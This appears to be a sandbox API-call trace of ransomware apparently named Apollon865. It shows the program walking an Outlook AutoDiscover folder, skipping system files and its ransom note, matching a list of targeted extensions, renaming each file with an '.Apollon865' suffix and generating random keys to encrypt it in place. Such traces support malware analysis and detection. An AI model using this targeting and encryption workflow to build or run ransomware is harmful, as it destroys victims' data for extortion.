	[0070.066] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0070.066] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0070.067] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x70c534f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="YAHOO.COM.AU.XML", cAlternateFileName="YA02CD~1.XML")) returned 1
	[0070.067] lstrcmpiW (lpString1="YAHOO.COM.AU.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.067] lstrcmpiW (lpString1="YAHOO.COM.AU.XML", lpString2="Apollon865.txt.exe") returned 1
	[0070.067] lstrcmpiW (lpString1="YAHOO.COM.AU.XML", lpString2=".") returned 1
	[0070.067] lstrcmpiW (lpString1="YAHOO.COM.AU.XML", lpString2="..") returned 1
	[0070.067] lstrcmpiW (lpString1="YAHOO.COM.AU.XML", lpString2="windows") returned 1
	[0070.067] lstrcmpiW (lpString1="YAHOO.COM.AU.XML", lpString2="bootmgr") returned 1
	[0070.067] lstrcmpiW (lpString1="YAHOO.COM.AU.XML", lpString2="temp") returned 1
	[0070.067] lstrcmpiW (lpString1="YAHOO.COM.AU.XML", lpString2="pagefile.sys") returned 1
	[0070.067] lstrcmpiW (lpString1="YAHOO.COM.AU.XML", lpString2="boot") returned 1
	[0070.067] lstrcmpiW (lpString1="YAHOO.COM.AU.XML", lpString2="ids.txt") returned 1
	[0070.067] lstrcmpiW (lpString1="YAHOO.COM.AU.XML", lpString2="ntuser.dat") returned 1
	[0070.067] lstrcmpiW (lpString1="YAHOO.COM.AU.XML", lpString2="perflogs") returned 1
	[0070.067] lstrcmpiW (lpString1="YAHOO.COM.AU.XML", lpString2="MSBuild") returned 1
	[0070.067] lstrlenW (lpString="YAHOO.COM.AU.XML") returned 16
	[0070.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.AR.XML") returned 79
	[0070.067] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="YAHOO.COM.AU.XML" | out: lpString1="YAHOO.COM.AU.XML") returned="YAHOO.COM.AU.XML"
	[0070.067] lstrlenW (lpString="YAHOO.COM.AU.XML") returned 16
	[0070.067] lstrlenW (lpString="Apollon865") returned 10
	[0070.067] lstrcmpiW (lpString1="COM.AU.XML", lpString2="Apollon865") returned 1
	[0070.067] lstrlenW (lpString=".dll") returned 4
	[0070.067] lstrcmpiW (lpString1="YAHOO.COM.AU.XML", lpString2=".dll") returned 1
	[0070.067] lstrlenW (lpString=".lnk") returned 4
	[0070.067] lstrcmpiW (lpString1="YAHOO.COM.AU.XML", lpString2=".lnk") returned 1
	[0070.067] lstrlenW (lpString=".ini") returned 4
	[0070.067] lstrcmpiW (lpString1="YAHOO.COM.AU.XML", lpString2=".ini") returned 1
	[0070.067] lstrlenW (lpString=".sys") returned 4
	[0070.067] lstrcmpiW (lpString1="YAHOO.COM.AU.XML", lpString2=".sys") returned 1
	[0070.067] lstrlenW (lpString="YAHOO.COM.AU.XML") returned 16
	[0070.067] lstrlenW (lpString="bak") returned 3
	[0070.068] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0070.068] lstrlenW (lpString="ba_") returned 3
	[0070.068] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0070.068] lstrlenW (lpString="dbb") returned 3
	[0070.068] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0070.068] lstrlenW (lpString="vmdk") returned 4
	[0070.068] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0070.068] lstrlenW (lpString="rar") returned 3
	[0070.068] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0070.068] lstrlenW (lpString="zip") returned 3
	[0070.068] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0070.068] lstrlenW (lpString="tgz") returned 3
	[0070.068] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0070.068] lstrlenW (lpString="vbox") returned 4
	[0070.068] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0070.068] lstrlenW (lpString="vdi") returned 3
	[0070.068] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0070.068] lstrlenW (lpString="vhd") returned 3
	[0070.068] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0070.068] lstrlenW (lpString="vhdx") returned 4
	[0070.068] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0070.068] lstrlenW (lpString="avhd") returned 4
	[0070.068] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0070.068] lstrlenW (lpString="db") returned 2
	[0070.068] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0070.068] lstrlenW (lpString="db2") returned 3
	[0070.068] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0070.068] lstrlenW (lpString="db3") returned 3
	[0070.068] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0070.068] lstrlenW (lpString="dbf") returned 3
	[0070.068] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0070.068] lstrlenW (lpString="mdf") returned 3
	[0070.068] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0070.068] lstrlenW (lpString="mdb") returned 3
	[0070.068] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0070.068] lstrlenW (lpString="sql") returned 3
	[0070.068] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0070.068] lstrlenW (lpString="sqlite") returned 6
	[0070.069] lstrcmpiW (lpString1="AU.XML", lpString2="sqlite") returned -1
	[0070.069] lstrlenW (lpString="sqlite3") returned 7
	[0070.069] lstrcmpiW (lpString1=".AU.XML", lpString2="sqlite3") returned -1
	[0070.069] lstrlenW (lpString="sqlitedb") returned 8
	[0070.069] lstrcmpiW (lpString1="M.AU.XML", lpString2="sqlitedb") returned -1
	[0070.069] lstrlenW (lpString="xml") returned 3
	[0070.069] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0070.069] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.AU.XML.Apollon865") returned 90
	[0070.069] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.AU.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.au.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.AU.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.au.xml.apollon865"), dwFlags=0x1) returned 1
	[0070.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.AU.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.au.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0070.070] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=812) returned 1
	[0070.070] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0070.070] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0070.070] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0070.070] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0070.071] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0070.071] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0070.071] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x630, lpName=0x0) returned 0x118
	[0070.072] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x630) returned 0x100000
	[0070.073] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0070.074] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0070.074] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0070.074] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0070.074] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0070.074] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0070.074] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0070.074] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0070.074] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0070.074] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0070.074] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0070.074] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0070.074] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0070.074] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0070.074] CloseHandle (hObject=0x118) returned 1
	[0070.074] CloseHandle (hObject=0xc0) returned 1
	[0070.074] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0070.074] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0070.074] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0070.075] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="YAHOO.COM.BR.XML", cAlternateFileName="YAHOOC~1.XML")) returned 1
	[0070.075] lstrcmpiW (lpString1="YAHOO.COM.BR.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.075] lstrcmpiW (lpString1="YAHOO.COM.BR.XML", lpString2="Apollon865.txt.exe") returned 1
	[0070.075] lstrcmpiW (lpString1="YAHOO.COM.BR.XML", lpString2=".") returned 1
	[0070.075] lstrcmpiW (lpString1="YAHOO.COM.BR.XML", lpString2="..") returned 1
	[0070.075] lstrcmpiW (lpString1="YAHOO.COM.BR.XML", lpString2="windows") returned 1
	[0070.075] lstrcmpiW (lpString1="YAHOO.COM.BR.XML", lpString2="bootmgr") returned 1
	[0070.075] lstrcmpiW (lpString1="YAHOO.COM.BR.XML", lpString2="temp") returned 1
	[0070.075] lstrcmpiW (lpString1="YAHOO.COM.BR.XML", lpString2="pagefile.sys") returned 1
	[0070.075] lstrcmpiW (lpString1="YAHOO.COM.BR.XML", lpString2="boot") returned 1
	[0070.075] lstrcmpiW (lpString1="YAHOO.COM.BR.XML", lpString2="ids.txt") returned 1
	[0070.075] lstrcmpiW (lpString1="YAHOO.COM.BR.XML", lpString2="ntuser.dat") returned 1
	[0070.075] lstrcmpiW (lpString1="YAHOO.COM.BR.XML", lpString2="perflogs") returned 1
	[0070.075] lstrcmpiW (lpString1="YAHOO.COM.BR.XML", lpString2="MSBuild") returned 1
	[0070.075] lstrlenW (lpString="YAHOO.COM.BR.XML") returned 16
	[0070.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.AU.XML") returned 79
	[0070.075] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="YAHOO.COM.BR.XML" | out: lpString1="YAHOO.COM.BR.XML") returned="YAHOO.COM.BR.XML"
	[0070.075] lstrlenW (lpString="YAHOO.COM.BR.XML") returned 16
	[0070.075] lstrlenW (lpString="Apollon865") returned 10
	[0070.075] lstrcmpiW (lpString1="COM.BR.XML", lpString2="Apollon865") returned 1
	[0070.075] lstrlenW (lpString=".dll") returned 4
	[0070.075] lstrcmpiW (lpString1="YAHOO.COM.BR.XML", lpString2=".dll") returned 1
	[0070.075] lstrlenW (lpString=".lnk") returned 4
	[0070.075] lstrcmpiW (lpString1="YAHOO.COM.BR.XML", lpString2=".lnk") returned 1
	[0070.075] lstrlenW (lpString=".ini") returned 4
	[0070.075] lstrcmpiW (lpString1="YAHOO.COM.BR.XML", lpString2=".ini") returned 1
	[0070.075] lstrlenW (lpString=".sys") returned 4
	[0070.075] lstrcmpiW (lpString1="YAHOO.COM.BR.XML", lpString2=".sys") returned 1
	[0070.075] lstrlenW (lpString="YAHOO.COM.BR.XML") returned 16
	[0070.075] lstrlenW (lpString="bak") returned 3
	[0070.075] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0070.075] lstrlenW (lpString="ba_") returned 3
	[0070.076] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0070.076] lstrlenW (lpString="dbb") returned 3
	[0070.076] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0070.076] lstrlenW (lpString="vmdk") returned 4
	[0070.076] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0070.076] lstrlenW (lpString="rar") returned 3
	[0070.076] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0070.076] lstrlenW (lpString="zip") returned 3
	[0070.076] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0070.076] lstrlenW (lpString="tgz") returned 3
	[0070.076] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0070.076] lstrlenW (lpString="vbox") returned 4
	[0070.076] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0070.076] lstrlenW (lpString="vdi") returned 3
	[0070.076] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0070.076] lstrlenW (lpString="vhd") returned 3
	[0070.076] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0070.076] lstrlenW (lpString="vhdx") returned 4
	[0070.076] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0070.076] lstrlenW (lpString="avhd") returned 4
	[0070.076] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0070.076] lstrlenW (lpString="db") returned 2
	[0070.076] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0070.076] lstrlenW (lpString="db2") returned 3
	[0070.076] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0070.076] lstrlenW (lpString="db3") returned 3
	[0070.076] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0070.076] lstrlenW (lpString="dbf") returned 3
	[0070.076] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0070.076] lstrlenW (lpString="mdf") returned 3
	[0070.076] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0070.076] lstrlenW (lpString="mdb") returned 3
	[0070.076] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0070.076] lstrlenW (lpString="sql") returned 3
	[0070.076] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0070.076] lstrlenW (lpString="sqlite") returned 6
	[0070.076] lstrcmpiW (lpString1="BR.XML", lpString2="sqlite") returned -1
	[0070.076] lstrlenW (lpString="sqlite3") returned 7
	[0070.077] lstrcmpiW (lpString1=".BR.XML", lpString2="sqlite3") returned -1
	[0070.077] lstrlenW (lpString="sqlitedb") returned 8
	[0070.077] lstrcmpiW (lpString1="M.BR.XML", lpString2="sqlitedb") returned -1
	[0070.077] lstrlenW (lpString="xml") returned 3
	[0070.077] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0070.077] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.BR.XML.Apollon865") returned 90
	[0070.077] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.BR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.br.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.BR.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.br.xml.apollon865"), dwFlags=0x1) returned 1
	[0070.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.BR.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.br.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0070.078] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=812) returned 1
	[0070.078] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0070.078] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0070.078] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0070.078] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0070.079] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0070.079] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0070.079] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x630, lpName=0x0) returned 0x118
	[0070.080] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x630) returned 0x100000
	[0070.081] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0070.081] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0070.081] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0070.082] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0070.082] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0070.082] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0070.082] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0070.082] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0070.082] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0070.082] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0070.082] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0070.082] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0070.082] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0070.082] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0070.082] CloseHandle (hObject=0x118) returned 1
	[0070.082] CloseHandle (hObject=0xc0) returned 1
	[0070.082] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0070.082] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0070.082] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0070.082] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="YAHOO.COM.CN.XML", cAlternateFileName="YAHOOC~4.XML")) returned 1
	[0070.083] lstrcmpiW (lpString1="YAHOO.COM.CN.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.083] lstrcmpiW (lpString1="YAHOO.COM.CN.XML", lpString2="Apollon865.txt.exe") returned 1
	[0070.083] lstrcmpiW (lpString1="YAHOO.COM.CN.XML", lpString2=".") returned 1
	[0070.083] lstrcmpiW (lpString1="YAHOO.COM.CN.XML", lpString2="..") returned 1
	[0070.083] lstrcmpiW (lpString1="YAHOO.COM.CN.XML", lpString2="windows") returned 1
	[0070.083] lstrcmpiW (lpString1="YAHOO.COM.CN.XML", lpString2="bootmgr") returned 1
	[0070.083] lstrcmpiW (lpString1="YAHOO.COM.CN.XML", lpString2="temp") returned 1
	[0070.083] lstrcmpiW (lpString1="YAHOO.COM.CN.XML", lpString2="pagefile.sys") returned 1
	[0070.083] lstrcmpiW (lpString1="YAHOO.COM.CN.XML", lpString2="boot") returned 1
	[0070.083] lstrcmpiW (lpString1="YAHOO.COM.CN.XML", lpString2="ids.txt") returned 1
	[0070.083] lstrcmpiW (lpString1="YAHOO.COM.CN.XML", lpString2="ntuser.dat") returned 1
	[0070.083] lstrcmpiW (lpString1="YAHOO.COM.CN.XML", lpString2="perflogs") returned 1
	[0070.083] lstrcmpiW (lpString1="YAHOO.COM.CN.XML", lpString2="MSBuild") returned 1
	[0070.083] lstrlenW (lpString="YAHOO.COM.CN.XML") returned 16
	[0070.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.BR.XML") returned 79
	[0070.083] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="YAHOO.COM.CN.XML" | out: lpString1="YAHOO.COM.CN.XML") returned="YAHOO.COM.CN.XML"
	[0070.083] lstrlenW (lpString="YAHOO.COM.CN.XML") returned 16
	[0070.083] lstrlenW (lpString="Apollon865") returned 10
	[0070.083] lstrcmpiW (lpString1="COM.CN.XML", lpString2="Apollon865") returned 1
	[0070.083] lstrlenW (lpString=".dll") returned 4
	[0070.083] lstrcmpiW (lpString1="YAHOO.COM.CN.XML", lpString2=".dll") returned 1
	[0070.083] lstrlenW (lpString=".lnk") returned 4
	[0070.083] lstrcmpiW (lpString1="YAHOO.COM.CN.XML", lpString2=".lnk") returned 1
	[0070.083] lstrlenW (lpString=".ini") returned 4
	[0070.083] lstrcmpiW (lpString1="YAHOO.COM.CN.XML", lpString2=".ini") returned 1
	[0070.083] lstrlenW (lpString=".sys") returned 4
	[0070.083] lstrcmpiW (lpString1="YAHOO.COM.CN.XML", lpString2=".sys") returned 1
	[0070.083] lstrlenW (lpString="YAHOO.COM.CN.XML") returned 16
	[0070.083] lstrlenW (lpString="bak") returned 3
	[0070.083] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0070.083] lstrlenW (lpString="ba_") returned 3
	[0070.083] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0070.083] lstrlenW (lpString="dbb") returned 3
	[0070.083] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0070.083] lstrlenW (lpString="vmdk") returned 4
	[0070.083] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0070.083] lstrlenW (lpString="rar") returned 3
	[0070.084] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0070.084] lstrlenW (lpString="zip") returned 3
	[0070.084] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0070.084] lstrlenW (lpString="tgz") returned 3
	[0070.084] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0070.084] lstrlenW (lpString="vbox") returned 4
	[0070.084] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0070.084] lstrlenW (lpString="vdi") returned 3
	[0070.084] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0070.084] lstrlenW (lpString="vhd") returned 3
	[0070.084] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0070.084] lstrlenW (lpString="vhdx") returned 4
	[0070.084] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0070.084] lstrlenW (lpString="avhd") returned 4
	[0070.084] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0070.084] lstrlenW (lpString="db") returned 2
	[0070.084] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0070.084] lstrlenW (lpString="db2") returned 3
	[0070.084] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0070.084] lstrlenW (lpString="db3") returned 3
	[0070.084] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0070.084] lstrlenW (lpString="dbf") returned 3
	[0070.084] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0070.084] lstrlenW (lpString="mdf") returned 3
	[0070.084] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0070.084] lstrlenW (lpString="mdb") returned 3
	[0070.084] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0070.084] lstrlenW (lpString="sql") returned 3
	[0070.084] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0070.084] lstrlenW (lpString="sqlite") returned 6
	[0070.084] lstrcmpiW (lpString1="CN.XML", lpString2="sqlite") returned -1
	[0070.084] lstrlenW (lpString="sqlite3") returned 7
	[0070.084] lstrcmpiW (lpString1=".CN.XML", lpString2="sqlite3") returned -1
	[0070.084] lstrlenW (lpString="sqlitedb") returned 8
	[0070.084] lstrcmpiW (lpString1="M.CN.XML", lpString2="sqlitedb") returned -1
	[0070.084] lstrlenW (lpString="xml") returned 3
	[0070.084] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0070.084] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.CN.XML.Apollon865") returned 90
	[0070.085] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.CN.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.cn.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.CN.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.cn.xml.apollon865"), dwFlags=0x1) returned 1
